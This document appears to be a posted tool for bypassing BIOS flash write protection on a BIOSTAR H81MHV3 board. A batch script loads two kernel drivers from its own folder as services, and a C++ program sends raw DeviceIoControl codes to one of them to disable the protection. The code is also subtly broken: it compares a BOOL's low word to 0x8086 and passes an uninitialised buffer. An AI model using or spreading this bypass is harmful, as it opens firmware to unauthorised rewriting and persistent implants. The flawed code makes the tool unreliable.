BIOSTART H81MHV3写保护绕过

@echo off

echo %~dp0\BSMEM64_W10.sys

sc stop BSMEM

sc stop BIOS_SMI_DRIVER

sc delete BSMEM

sc delete BIOS_SMI_DRIVER

sc create BSMEM type=kernel binPath=%~dp0\BSMEM64_W10.sys

sc start BSMEM

sc create BIOS_SMI_DRIVER type=kernel binPath=%~dp0\SMIBIOS64_W10.sys

sc start BIOS_SMI_DRIVER

#define __STDC_WANT_LIB_EXT1__ 1

#include <iostream>

#include <windows.h>

#include <string.h>

using namespace std;

int Cotrol_1(HANDLE hDevice, DWORD lpOutBuffer) {

    BOOL Ret = FALSE;

    DWORD BytesReturned = 0;

    int InBuffer[4];

    InBuffer[0] = 0;

    InBuffer[1] = 0;

    InBuffer[2] = 0;

    InBuffer[3] = lpOutBuffer;

    Ret = DeviceIoControl(hDevice, 0x226048, InBuffer, 0x14, InBuffer, 0x14, &BytesReturned, 0);

    if (!Ret) {

        return 0;

    }

    return LOWORD(Ret);

}

int main()

{

    LPCSTR szDiskPos = "\\\\.\\BIOS_SMI_DRIVER";

    HANDLE hDevice = INVALID_HANDLE_VALUE;

    hDevice = CreateFileA(szDiskPos, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

    Sleep(1000);

    BOOL Ret = FALSE;

    DWORD BytesReturned = 0;

    int InBuffer[4];

    int result;

    result = Cotrol_1(hDevice, 0x0);

    //printf("Cotrol_1 return: %d\n", result);

    if (result == 0x8086) {

        result = Cotrol_1(hDevice, 0x2);

        //printf("Cotrol_1 return2: %d\n", result);

    }

    Ret = DeviceIoControl(hDevice, 0x222008, &InBuffer, 4, 0, 0, &BytesReturned, 0);

    if (Ret)

    {

        cout << "success!" << endl;

    }

    else

    {

        cout << "failed!" << endl;

    }

    CloseHandle(hDevice);

    return 0;

}